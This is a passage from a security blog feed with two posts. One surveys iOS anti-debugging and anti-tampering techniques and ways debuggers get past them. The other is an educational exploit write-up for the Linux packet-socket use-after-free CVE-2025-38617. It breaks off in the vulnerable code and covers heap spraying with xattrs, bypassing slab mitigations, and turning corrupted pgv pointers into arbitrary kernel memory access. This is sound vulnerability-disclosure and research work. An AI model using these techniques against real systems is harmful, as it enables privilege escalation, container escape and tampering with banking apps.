href="https://blog.calif.io/i/191281303/1-the-app-that-exploited-ios-side-channels">The App That Exploited iOS Side Channels</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/2-the-app-that-checked-itself">The App That Checked Itself</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/3-the-app-that-killed-itself-on-attach">The App That Killed Itself on Attach</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/4-the-app-that-ruined-its-own-crash-logs">The App That Ruined Its Own Crash Logs</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/5-the-app-that-let-ios-do-the-killing">The App That Let iOS Do the Killing</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/6-the-app-that-kept-checking">The App That Kept Checking</a></p></li><li><p><a href="https://blog.calif.io/i/191281303/conclusion">Conclusion</a></p></li></ol><p>This journey started from a mix of curiosity and convenience. Some of us wanted to push a game a bit further and show off a better score. At the same time, as part of red team work, we were interested in how banking apps handled money behind the scenes. The goal was simple: attach a debugger, observe behavior, and figure out how things worked.</p><p>That did not always go as expected.</p><p>Some apps would exit immediately. Others ran for a while, then failed later without any clear reason. In a few cases, there was no usable crash at all. Each app behaved differently, but after going through enough of them, the same patterns kept showing up.</p><p>Developers of these apps are not relying on a single check anymore. They combine multiple techniques to make inspection harder and modification unreliable, even on non-jailbroken devices. The techniques themselves are not new. What stands out is how they are layered together and how early they are applied. Over time, it becomes less about a single protection and more about how they interact.</p><p>This article walks through a set of these techniques and how they show up in practice on iOS apps.</p><h2>1. The App That Exploited iOS Side Channels</h2><p>One app we looked at would fail before any meaningful logic executed. With no debugger attached and no modifications in place, the app still exits immediately on launch.</p><p>It turned out the app was performing early environment checks by relying on side-channel signals rather than explicit APIs. It called into a private system API and used the return behavior to infer whether certain apps were installed on the device. If anything suspicious showed up, it stopped there.</p><p>A notable case involved a banking application that used the private API <code>SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions</code>. It did not use the API for its intended purpose. Instead, it inspected the return logs as a side channel. By doing this, it could detect the presence of applications commonly associated with modified environments, based on bundle identifiers such as <code>com.opa334.TrollStore</code>, <code>org.coolstar.SileoStore</code>, <code>com.tigisoftware.Filza</code>, and others. If any of these were detected, the app assumed the device was not trustworthy and refused to proceed.</p><p>This specific behavior was later addressed by Apple in iOS 18.5 (CVE-2025-31207), but the pattern is still relevant.</p><p><strong>Technique: Pre-execution environment checks</strong></p><ul><li><p>Query system APIs, including undocumented ones, for indirect signals</p></li><li><p>Use side-channel behavior such as API return logs to detect installed applications</p></li><li><p>Detect presence of known tools via bundle identifiers</p></li></ul><h2>2. The App That Checked Itself</h2><p>Some apps go further and verify their own state before doing anything useful.</p><p>A common approach, especially in games, is to query code signing state using <code>csops()</code>. In particular, checking <code>CS_OPS_ENTITLEMENTS_BLOB</code> allows the app to retrieve its own entitlements. Unexpected entitlements can indicate a modified or non-standard environment. This gives the app another signal to decide whether it is running on a jailbroken device.</p><p>Some apps also verify their own integrity before continuing. This includes computing hashes such as <code>CRC32</code> or <code>MD5</code> across application data and checking the signing certificate of the installed IPA. Structures like <code>LC_ENCRYPTION_INFO_64</code> are used to detect whether the app has been re-signed or altered.</p><p><strong>Technique: Pre-execution environment checks</strong></p><ul><li><p>Use <code>csops()</code> with <code>CS_OPS_ENTITLEMENTS_BLOB</code> to inspect entitlements and infer jailbreak state</p></li><li><p>Perform file integrity checks using <code>CRC32</code> and <code>MD5</code></p></li><li><p>Validate signing certificates and detect re-signing via <code>LC_ENCRYPTION_INFO64</code></p></li></ul><h2>3. The App That Killed Itself on Attach</h2><p>Another pattern shows up once you try to attach a debugger: the app exits immediately.</p><p>In most cases, this comes down to <code>ptrace()</code> with <code>PT_DENY_ATTACH</code>. When that flag is set, any attempt to attach a debugger causes the process to terminate, usually through <code>abort()</code> or <code>exit()</code>.</p><p>The usual way around this is to deal with the termination path rather than the detection. If the app cannot terminate itself, it continues running. Patching the execution flow to bypass calls to <code>abort()</code> and <code>exit()</code> is often enough to keep the process alive and allow runtime inspection.</p><p>When <code>PT_DENY_ATTACH</code> is used directly, there are also existing workarounds that modify or disable its behavior so a debugger can attach. These approaches have been documented in detail, including a write-up by <a href="https://bryce.co/undebuggable/">Bryce Bostwick</a> that walks through the process of dealing with <code>ptrace()</code> on iOS.</p><p><strong>Technique: Runtime anti-debugging with </strong><code>ptrace()</code></p><ul><li><p>Call <code>ptrace(PT_DENY_ATTACH)</code> to block debugger attachment</p></li><li><p>Trigger process termination when debugging is detected</p></li></ul><h2>4. The App That Ruined Its Own Crash Logs</h2><p>Some apps do not just exit. They also make sure you cannot learn anything from the crash.</p><p>We ran into one that behaved normally until you tried to debug it. Then the crash logs stopped being useful. Registers were filled with the same, impossible value, and the backtrace did not point to anything meaningful.</p><p>Looking closer, the app was writing garbage into the CPU registers before crashing. In one case, every register was set to a constant like <code>0x123456789a00</code>. The crash still happened, but the state was no longer trustworthy, so there was nothing useful to extract from it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ICQe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ICQe!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ICQe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg" width="1442" height="488" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:488,&quot;width&quot;:1442,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151988,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/191281303?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ICQe!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ICQe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>This iOS app, running on macOS, corrupted the registers before crashing</em>.</figcaption></figure></div><p>This makes it difficult to trace where the detection actually occurred. Even if you hit the right code path, the information you get back is already corrupted.</p><p>It does not prevent debugging entirely, but it slows things down. You have to find the check before the crash instead of relying on the crash itself.</p><p><strong>Technique: Register corruption for analysis resistance</strong></p><ul><li><p>Overwrite register state before crashing</p></li><li><p>Produce garbage register values in crash logs</p></li><li><p>Obscure the origin of detection logic and break backtraces</p></li></ul><h2>5. The App That Let iOS Do the Killing</h2><p>One game app produced probably the weirdest &#8220;crash&#8221; we have dealt with. The app would run, and as soon as we tried to debug it, it would get terminated without leaving any crash logs.</p><p>The reason was memory pressure. Instead of crashing directly through abort() or access violations, the app pushed memory usage high enough to trigger a jetsam condition. On iOS, jetsam is a kernel mechanism that kills processes when the system is under memory pressure or when an app exceeds its memory limits.</p><p>Because the system performs the termination, there is no normal crash log. You only get a jetsam record, and the anti-debug detection logic does not show up in any backtrace.</p><p>In this case, this behavior was combined with other checks such as jailbreak detection and tracing, which removes the usual approach of following a crash to locate the check.</p><p><strong>Technique: Resource exhaustion to trigger jetsam</strong></p><ul><li><p>Allocate excessive memory to force OS-level termination</p></li><li><p>Avoid generating application crash logs</p></li><li><p>Leave only system-level jetsam records</p></li></ul><h2>6. The App That Kept Checking</h2><p>Some apps pass the initial checks but still fail later.</p><p>In these cases, detection continues in the background and is enforced with delay. When a check fails, the app may record the state and only terminate after a timer elapses. That delay makes it harder to link the crash to the original trigger.</p><p>There is often a periodic task acting as a heartbeat. It wakes up at fixed intervals and re-runs parts of the detection logic, so passing checks once does not mean you are in the clear.</p><p>This setup makes behavior less predictable. Failures can happen later, without a clear signal of what caused them.</p><p><strong>Technique: Continuous detection with delayed enforcement</strong></p><ul><li><p>Record tamper state and trigger crashes after a delay</p></li><li><p>Use timers to decouple detection from enforcement</p></li><li><p>Run periodic heartbeat tasks to re-check state</p></li><li><p>Re-trigger enforcement even after initial checks pass</p></li></ul><h2>Conclusion</h2><p>Taken together, these examples show how things have changed. What used to be a single check or a simple <code>ptrace()</code> call is now a combination of techniques. Environment checks happen early, debugger detection is enforced at runtime, crash logs are made useless, and in some cases removed entirely through jetsam. On top of that, integrity checks and timed enforcement add another layer that keeps running after launch.</p><p>None of these techniques are especially complex on their own. The difficulty comes from how they are combined. You are not dealing with one mechanism, but a system where each part covers gaps left by the others.</p><p>For readers who are familiar with protection systems on Windows (anti-cheat, anti-debug, anti-tampering, etc.), you may wonder why they don&#8217;t use more aggressive techniques such as kernel level drivers and code injection. The answer is that iOS has a different security model and it does not allow kernel extensions or unsigned code execution.</p>]]></content:encoded></item><item><title><![CDATA[A Race Within A Race: Exploiting CVE-2025-38617 in Linux Packet Sockets]]></title><description><![CDATA[A step-by-step guide to exploiting a 20-year-old bug in the Linux kernel to achieve full privilege escalation and container escape, plus a cool bug-hunting heuristic.]]></description><link>https://blog.calif.io/p/a-race-within-a-race-exploiting-cve</link><guid isPermaLink="false">https://blog.calif.io/p/a-race-within-a-race-exploiting-cve</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Tue, 03 Mar 2026 18:32:13 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!CIRL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Table of Contents</h2><ul><li><p><a href="https://blog.calif.io/i/189789999/introduction">Introduction</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/background">Background</a></p><ul><li><p><a href="https://blog.calif.io/i/189789999/packet-sockets">Packet Sockets</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/ring-buffers-and-tpacketv3">Ring Buffers and TPACKET_V3</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/extended-attributes-and-simplexattr">Extended Attributes and simple_xattr</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/slab-allocator-vs-page-allocator">Slab Allocator vs Page Allocator</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/kernel-heap-mitigations">Kernel Heap Mitigations</a></p></li></ul></li><li><p><a href="https://blog.calif.io/i/189789999/the-vulnerability">The Vulnerability</a></p><ul><li><p><a href="https://blog.calif.io/i/189789999/the-conditional-zeroing-bug">The Conditional Zeroing Bug</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/the-race-window-and-uaf">The Race Window and UAF</a></p></li></ul></li><li><p><a href="https://blog.calif.io/i/189789999/the-key-insight-sleeping-mutex-holders-stretch-race-windows">The Key Insight: Sleeping Mutex Holders Stretch Race Windows</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/the-exploit">The Exploit</a></p><ul><li><p><a href="https://blog.calif.io/i/189789999/stage-0-winning-the-races">Stage 0: Winning the Races</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/stage-1-page-overflow-primitive-via-xattr-corruption">Stage 1: Page Overflow Primitive (via xattr corruption)</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/stage-2-heap-readwrite-via-pgv-overlap">Stage 2: Heap Read/Write via pgv Overlap</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/stage-3-arbitrary-page-readwrite-via-pgv-overlap">Stage 3: Arbitrary Page Read/Write via pgv Overlap</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/stage-4-kaslr-bypass-via-pipe-buffer">Stage 4: KASLR Bypass via Pipe Buffer</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/stage-5-privilege-escalation-via-syscall-patching">Stage 5: Privilege Escalation via Syscall Patching</a></p></li></ul></li><li><p><a href="https://blog.calif.io/i/189789999/the-fix">The Fix</a></p></li><li><p><a href="https://blog.calif.io/i/189789999/takeaways">Takeaways</a></p></li></ul><h2>Introduction</h2><p>CVE-2025-38617 is a use-after-free vulnerability in the Linux kernel&#8217;s packet socket subsystem, caused by a race condition between packet_set_ring() and packet_notifier(). The bug has existed since Linux 2.6.12 (2005) and was fixed in kernel version 6.16. It allows an unprivileged local attacker &#8212; needing only CAP_NET_RAW, obtainable through user namespaces &#8212; to achieve full privilege escalation and container escape.</p><p>The vulnerability and exploits were discovered and developed by Quang Le, a member of <a href="https://calif.io">Calif</a>, and submitted as part of Google&#8217;s <a href="https://google.github.io/security-research/kernelctf/rules.html">kernelCTF</a> program. Calif provides this complimentary write-up to offer additional background for educational purposes.</p><p>This article analyzes the vulnerability, the <a href="https://github.com/google/security-research/pull/339">exploit submission</a>, and the two-line fix. The exploit is notable for its sophistication: it defeats modern kernel mitigations including CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL, builds exploit primitives through a chain of four increasingly powerful stages, and uses creative timing techniques to win two separate race conditions deterministically.</p><p>But perhaps the most interesting aspect is the <em>bug-finding heuristic</em> it demonstrates: <strong>when a mutex holder sleeps, the time window between lock release and the next critical operation becomes predictable and stretchable, turning otherwise unexploitable code sequences into reliable race conditions.</strong></p><ul><li><p><strong>Affected versions</strong>: Linux 2.6.12 through 6.15</p></li><li><p><strong>Affected component</strong>: net/packet/af_packet.c (packet socket subsystem)</p></li><li><p><strong>Root cause</strong>: Race condition leading to use-after-free</p></li><li><p><strong>Required capability</strong>: CAP_NET_RAW (available via unprivileged user namespaces)</p></li><li><p><strong>Fix commit</strong>: <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=01d3c8417b9c1b884a8a981a3b886da556512f36">01d3c8417b9c</a></p></li></ul><h2>Background</h2><h3>Packet Sockets</h3><p>Linux packet sockets (AF_PACKET) provide raw access to network interfaces at the link layer. They&#8217;re used by tools like tcpdump and wireshark to capture network traffic. When a packet arrives on a network interface, the kernel delivers a copy to any packet socket &#8220;hooked&#8221; to that interface through a registered protocol hook function.</p><p>Packet sockets have a lifecycle tied to network interface state:</p><ul><li><p>When the interface goes <strong>UP</strong>, the packet socket&#8217;s protocol hook is registered, and the socket enters the PACKET_SOCK_RUNNING state. It can now receive packets.</p></li><li><p>When the interface goes <strong>DOWN</strong>, the hook is unregistered, and the socket stops receiving packets.</p></li></ul><p>These transitions are managed by packet_notifier(), which handles NETDEV_UP and NETDEV_DOWN events.</p><h3>Ring Buffers and TPACKET_V3</h3><p>For high-performance packet processing, packet sockets support memory-mapped ring buffers. Instead of copying each packet through recvmsg(), the kernel writes packets directly into a shared memory region that userspace can mmap(). The ring buffer is configured through setsockopt() with PACKET_RX_RING (for receiving) or PACKET_TX_RING (for transmitting), which internally calls packet_set_ring().</p><p>The ring buffer consists of multiple &#8220;blocks,&#8221; each a contiguous allocation of kernel pages. These blocks are tracked by an array of struct pgv pointers:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;0e9fca7c-2ceb-4aca-b05c-f67f1e1ce280&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct pgv {
    char *buffer;  // pointer to one block of pages
};</code></pre></div><p>The alloc_pg_vec() function allocates this array and each block:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;5dd519b5-340f-481f-a3c4-98d829d2522f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req-&gt;tp_block_nr;
    struct pgv *pg_vec;
    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    for (i = 0; i &lt; block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order);
    }
    return pg_vec;
}</code></pre></div><p><strong>How userspace accesses ring buffer blocks: mmap().</strong> When userspace calls mmap() on a packet socket file descriptor, the kernel&#8217;s packet_mmap() handler walks the pgv array and maps each block&#8217;s pages into the calling process&#8217;s virtual address space as a single contiguous region. Block 0&#8217;s pages appear first, followed by block 1&#8217;s pages, and so on. The result is that userspace gets a pointer to a memory region where offset 0 is the start of block 0, offset block_size is the start of block 1, etc. Reads/writes to this region go directly to the kernel pages backing the ring buffer, with no syscall overhead.</p><p>This mapping is based on what pgv[N].buffer points to <strong>at mmap time</strong>. The kernel resolves each pgv entry to its underlying physical page and maps that page into userspace. This has a critical implication for the exploit: if an attacker can overwrite a pgv[N].buffer pointer to an arbitrary kernel address and then call mmap(), the kernel will map whatever page lives at that address into userspace &#8212; giving the attacker direct read/write access to arbitrary kernel memory. This is exactly how Stages 2 and 3 escalate from a single corrupted pointer to full arbitrary page read/write.</p><p>TPACKET_V3, the most recent version of the packet socket ring buffer protocol, adds a block descriptor structure (tpacket_kbdq_core) that tracks which block is currently active, where the next packet header should be written, and when to retire (close) a full block and move to the next. Key fields include:</p><ul><li><p>pkbdq: pointer to the pgv array (the ring buffer itself)</p></li><li><p>kactive_blk_num: index of the currently active block</p></li><li><p>nxt_offset: pointer to where the next packet will be written within the current block</p></li><li><p>kblk_size: size of each block</p></li><li><p>knum_blocks: total number of blocks</p></li><li><p>blk_sizeof_priv: size of the per-block private area</p></li></ul><p>Each block&#8217;s memory layout starts with a tpacket_block_desc header (48 bytes after alignment), followed by a <strong>private area</strong> of blk_sizeof_priv bytes, and then the actual packet data region. The private area is configured by userspace via the tp_sizeof_priv field of the tpacket_req3 structure passed to setsockopt(PACKET_RX_RING). The kernel reserves this space at the start of each block and never writes packet data into it &#8212; it exists so that userspace applications can store their own per-block metadata (e.g., custom timestamps or statistics). The packet write cursor (nxt_offset) is initialized to block_start + 48 + ALIGN(blk_sizeof_priv, 8), skipping past both the header and the private area. As we&#8217;ll see, the exploit sets tp_sizeof_priv = 16248 to position the write cursor precisely where it needs to overflow into an adjacent object.</p><p>When a packet arrives, tpacket_rcv() is called, which looks up the current block via pkbdq[kactive_blk_num].buffer, finds the write position (nxt_offset), copies the packet data, and writes metadata headers. This is the function that will access freed memory in our vulnerability.</p><h3>Extended Attributes and simple_xattr</h3><p>Extended attributes (xattrs) are name-value pairs that can be attached to files and directories, providing metadata beyond the standard file attributes (permissions, timestamps, etc.). They&#8217;re organized into namespaces &#8212; security.* for SELinux labels and capabilities, user.* for arbitrary user data, trusted.* for privileged metadata, and so on. Userspace interacts with them through three syscalls: setxattr() to create or update, getxattr() to read, and removexattr() to delete.</p><p>Most filesystems store xattrs on disk, but in-memory filesystems like <strong>tmpfs</strong> have no disk backing. Instead, tmpfs stores xattrs entirely in kernel memory using the simple_xattr infrastructure. Each xattr is represented by a struct simple_xattr. On Linux 6.6 (which the exploit targets), xattrs are organized in a <strong>red-black tree</strong>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;75ef4686-3fc6-4209-a7c3-daaafbd80a83&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct rb_node {
    unsigned long  __rb_parent_color;  // parent pointer + color bit
    struct rb_node *rb_right;
    struct rb_node *rb_left;
};  // 24 bytes

struct simple_xattr {
    struct rb_node rb_node;  // offset 0,  size 24 (tree node pointers)
    char *name;              // offset 24, size 8
    size_t size;             // offset 32, size 8  &#8592; overflow target
    char value[];            // offset 40          (inline value)
};  // total header: 40 bytes</code></pre></div><p>The rb_node at the start of the struct contains three pointers: __rb_parent_color (the parent pointer with the color bit encoded in the lowest bit), rb_right, and rb_left. These point to other simple_xattr nodes in the same red-black tree.</p><p>When userspace calls setxattr(&#8221;security.foo&#8221;, value, size) on a tmpfs file, the kernel allocates a simple_xattr, copies the name and value, and inserts it into the inode&#8217;s collection. When getxattr() is called, the kernel traverses the collection comparing names, and when it finds a match, copies size bytes from value[] to the userspace buffer. If the userspace buffer is smaller than size, the kernel returns ERANGE &#8212; a behavior the exploit uses to detect corruption.</p><p>The simple_xattr is an ideal exploitation target for several reasons:</p><ol><li><p><strong>Controlled allocation size.</strong> The kmalloc(header + value_size) allocation can be steered to any slab cache or page order by choosing the right value_size. With value_size = 8192, the total allocation (40 + 8,192 = 8,232 bytes) is served from order-2 pages (16 KB).</p></li></ol><ol start="2"><li><p><strong>Controlled content.</strong> The value[] data is fully attacker-controlled, and the name string is chosen by the attacker.</p></li></ol><ol start="3"><li><p><strong>Readable and writable via syscalls.</strong> getxattr() reads size bytes starting from value[] &#8212; if size is corrupted to a larger value, the kernel reads past the object&#8217;s actual data, leaking adjacent heap memory. setxattr() can update the value. removexattr() frees the object.</p></li></ol><ol start="4"><li><p><strong>Address leaking via node pointers.</strong> The rb_node pointers contain kernel addresses of neighboring nodes in the tree. If an attacker can read these pointers, they learn the kernel addresses of other simple_xattr objects &#8212; the starting point for building further primitives.</p></li></ol><ol start="5"><li><p><strong>Sprayable.</strong> Creating thousands of xattrs on a single tmpfs file is trivial &#8212; just call setxattr() in a loop with unique names (&#8221;security.groom_0&#8221;, &#8220;security.groom_1&#8221;, ...). The exploit sprays 2,048 of them to fill the heap predictably.</p></li></ol><h3>Slab Allocator vs Page Allocator</h3><p>The Linux kernel has two layers of memory allocation, and understanding the boundary between them is essential to this exploit.</p><p>The <strong>page allocator</strong> (also called the buddy allocator) is the bottom layer. It manages physical memory in power-of-2 page chunks: order-0 (4 KB), order-1 (8 KB), order-2 (16 KB), and so on. Every allocation is page-aligned. When pages are freed, adjacent free pages of the same order merge (&#8221;buddy&#8221;) into higher-order blocks. Crucially, the page allocator has <strong>no segregation by type</strong> &#8212; all order-2 pages come from the same freelist. A freed order-2 page from a simple_xattr value can be reclaimed by an order-2 pgv array allocation; the page allocator doesn&#8217;t know or care what the pages are used for.</p><p>The <strong>slab allocator</strong> (SLUB on modern kernels) sits on top of the page allocator. It requests pages from the buddy allocator and carves them into fixed-size slots for small objects. It has generic size classes (kmalloc-8, kmalloc-16, ... kmalloc-8k) and dedicated caches for specific struct types. Unlike the page allocator, slab caches are <strong>segregated</strong> &#8212; a freed kmalloc-192 slot returns to its specific cache, and can only be reclaimed by another kmalloc-192 allocation.</p><p>This boundary is the reason the exploit forces certain allocations to exceed kmalloc-8k (the largest generic slab bucket). An 8,200-byte pgv array can&#8217;t fit in kmalloc-8k, so the allocator falls through to the page allocator, where the exploit&#8217;s heap grooming controls which freed pages get reclaimed. If the allocation stayed within the slab, freed xattr pages and pgv arrays would live in completely different caches with no way to reclaim each other.</p><h3>Kernel Heap Mitigations</h3><p>The kernelCTF mitigation-v4-6.6 environment enables two modern heap mitigations that make traditional cross-cache attacks significantly harder.</p><p><strong>CONFIG_RANDOM_KMALLOC_CACHES</strong> introduces 16 separate slab caches for each kmalloc size class (e.g., kmalloc-rnd-01-32, kmalloc-rnd-02-32, ... kmalloc-rnd-16-32). When the kernel calls kmalloc(), the allocation is routed to one of these 16 caches based on a hash of the <strong>call site address</strong> combined with a per-boot random seed. The goal is to prevent an attacker from predicting which cache an allocation lands in, breaking the classic exploit pattern of freeing object A from cache X and reclaiming it with object B from the same cache X. Since A and B come from different call sites, they&#8217;ll likely land in different random caches and the reclamation fails.</p><p>The bypass: if two allocations come from the <strong>same call site</strong> (the same line of source code that calls kmalloc/kcalloc), they always hash to the same random cache, regardless of the boot seed. The exploit exploits this by using alloc_pg_vec() &#8212; the same function, the same kcalloc() call site &#8212; for both the victim ring buffer and the reclamation ring buffer. Both are pgv arrays allocated via kcalloc(block_nr, sizeof(struct pgv), ...) inside alloc_pg_vec(), so they&#8217;re guaranteed to land in the same random cache.</p><p><strong>CONFIG_SLAB_VIRTUAL</strong> (also known as &#8220;virtual slab&#8221;) ensures that the virtual address range used for one slab cache type is never reused for a different slab cache type. In a normal kernel, freed slab pages can be returned to the page allocator and reallocated to a completely different slab cache, allowing cross-cache attacks. With CONFIG_SLAB_VIRTUAL, each cache gets a dedicated virtual address range &#8212; an allocation from kmalloc-64 will always map to a kmalloc-64 virtual address, even after being freed and reallocated. If an attacker frees a kmalloc-64 object and tries to reclaim it with a kmalloc-128 object, the virtual addresses won&#8217;t overlap.</p><p>The bypass is the same principle: by reclaiming freed ring buffer memory with another ring buffer (same object type, same slab cache), the virtual addresses remain valid. The exploit doesn&#8217;t need cross-cache attacks &#8212; it uses ring buffers to reclaim ring buffers throughout.</p><p>These mitigations force the exploit author into a disciplined pattern: every reclamation must use the same object type from the same call site. As we&#8217;ll see, this constraint shapes the entire exploit architecture &#8212; from using TX ring buffers to reclaim RX ring buffers, to spraying pgv arrays to reclaim other pgv arrays.</p><h2>The Vulnerability</h2><h3>The Conditional Zeroing Bug</h3><p>The root cause is a logic error in packet_set_ring(). When reconfiguring a ring buffer, this function needs to temporarily unhook the packet socket from the network interface to ensure no packets arrive while the ring buffer is being swapped. Here&#8217;s the relevant code:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;50abf75b-4b4b-4918-86be-344153887ae5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
        int closing, int tx_ring)
{
    // ...
    spin_lock(&amp;po-&gt;bind_lock);
    was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
    num = po-&gt;num;
    if (was_running) {
        WRITE_ONCE(po-&gt;num, 0);    // Only zeroed if was_running!
        __unregister_prot_hook(sk, false);
    }
